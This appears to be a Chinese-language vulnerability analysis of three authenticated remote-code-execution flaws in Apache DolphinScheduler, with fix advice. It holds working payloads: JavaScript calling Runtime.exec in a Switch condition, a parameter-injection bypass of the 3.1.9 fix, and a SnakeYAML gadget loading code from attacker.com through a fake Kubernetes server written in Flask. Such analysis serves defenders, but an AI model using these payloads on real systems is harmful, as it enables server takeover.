Apache DolphinScheduler auth RCE(CVE-2023-49299&CVE-2024-23320&CVE-2023-49109)
字数 1362
更新时间 2025-08-23 18:31:24

Apache DolphinScheduler 认证RCE漏洞分析(CVE-2023-49299 & CVE-2024-23320 & CVE-2023-49109)

漏洞概述

本文档详细分析Apache DolphinScheduler工作流调度系统中存在的三个认证后远程代码执行漏洞:

  1. CVE-2023-49299 - Switch任务中的JavaScript引擎代码执行漏洞
  2. CVE-2024-23320 - 参数注入导致的JavaScript代码执行漏洞
  3. CVE-2023-49109 - Kubernetes命名空间配置中的YAML反序列化漏洞

CVE-2023-49299 - Switch任务JS引擎RCE

漏洞原理

漏洞位于SwitchTaskUtils类的evaluate方法,该方法通过JavaScript引擎执行传入的代码。在3.1.8及之前版本中,攻击者可以直接传入恶意JS代码。

代码分析

关键类SwitchTaskUtilsevaluate方法:

// 3.1.8版本
public static boolean evaluate(String condition, Map<String, Property> globalParams, Map<String, Property> varParams) {
    ScriptEngineManager manager = new ScriptEngineManager();
    ScriptEngine engine = manager.getEngineByName("js");
    // 直接执行传入的condition
    return (Boolean) engine.eval(condition);
}

在3.1.9版本中,新增了generateContentWithTaskParams方法对输入进行处理:

// 3.1.9版本新增的过滤方法
public static String generateContentWithTaskParams(String condition, Map<String, Property> globalParams, Map<String, Property> varParams) {
    String content = condition.replaceAll("'", "\"");
    // 新增正则检查
    if (!content.matches("[\\s\\S]*\\$\\{[\\s\\S]*}[\\s\\S]*")) {
        throw new IllegalArgumentException("condition is not valid, please check it. condition: " + condition);
    }
    // ...参数替换逻辑...
}

攻击流程

  1. 登录系统后,在"项目管理"中创建新的工作流定义
  2. 添加"Switch"任务节点
  3. 在"条件"字段中输入恶意JS代码:
var a = mainOutput();
function mainOutput() {
    var x = java.lang.Runtime.getRuntime().exec("touch /tmp/rce");
};
  1. 创建工作流并执行,系统会在/tmp目录下创建rce文件

修复方案

3.1.9版本通过generateContentWithTaskParams方法添加了输入验证,要求输入必须包含${}形式的变量替换语法。

CVE-2024-23320 - 参数注入JS代码执行

漏洞原理

虽然3.1.9版本修复了直接执行JS代码的问题,但攻击者可以通过参数注入方式绕过限制。通过构造特殊的参数值,仍可执行任意JS代码。

攻击方法

利用参数替换机制,将恶意JS代码作为参数值注入:

  1. 设置一个参数如a,其值为:
    ";var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("touch /tmp/rce")}; //
    
  2. 在Switch条件中使用${a},系统会将其替换为上述JS代码
  3. 最终执行的代码会拼接成完整的JS代码并执行

修复方案

应彻底禁用JavaScript引擎或实现更严格的输入验证和沙箱机制。

CVE-2023-49109 - YAML反序列化漏洞

漏洞原理

在Kubernetes命名空间配置功能中,使用snakeyaml 1.33版本存在反序列化漏洞(CVE-2022-1471)。攻击者可构造恶意YAML触发远程代码执行。

关键代码

// 在K8sNamespaceServiceImpl类中
private String genDefaultResourceYaml(K8sNamespace k8sNamespace) {
    String name = k8sNamespace.getNamespace();
    // ...处理YAML模板...
    return result;
}

public void upsertNamespacedResourceToK8s(K8sNamespace k8sNamespace, String yamlStr) {
    Yaml yaml = new Yaml();
    // 反序列化用户控制的yamlStr
    yaml.loadAs(yamlStr, Object.class);
}

攻击流程

  1. 配置伪造的Kubernetes集群,将masterUrl指向攻击者控制的服务器
  2. 创建Flask伪造服务端响应命名空间查询:
from flask import Flask, jsonify

app = Flask(__name__)

@app.route('/api/v1/namespaces', methods=['GET'])
def get_namespaces():
    namespaces = {
        "items": [{
            "metadata": {
                "name": "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://attacker.com\"]]]]"
            }
        }]
    }
    return jsonify(namespaces)

app.run(host='0.0.0.0', port=5000)
  1. 在DolphinScheduler中设置命名空间为恶意YAML:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker.com"]]]]
  1. 系统会尝试反序列化该YAML,触发远程代码执行

修复方案

升级snakeyaml到安全版本,并禁用不安全的YAML特性。

综合防护建议

  1. 及时升级到最新安全版本
  2. 限制工作流定义和任务参数的权限
  3. 对Kubernetes集成功能实施严格的网络访问控制
  4. 监控系统日志中的可疑活动
  5. 实施最小权限原则,避免使用高权限账户运行服务

参考链接

  1. OSS-Security公告
  2. GitHub修复PR
  3. SnakeYAML CVE-2022-1471
相似文章
相似文章
 全屏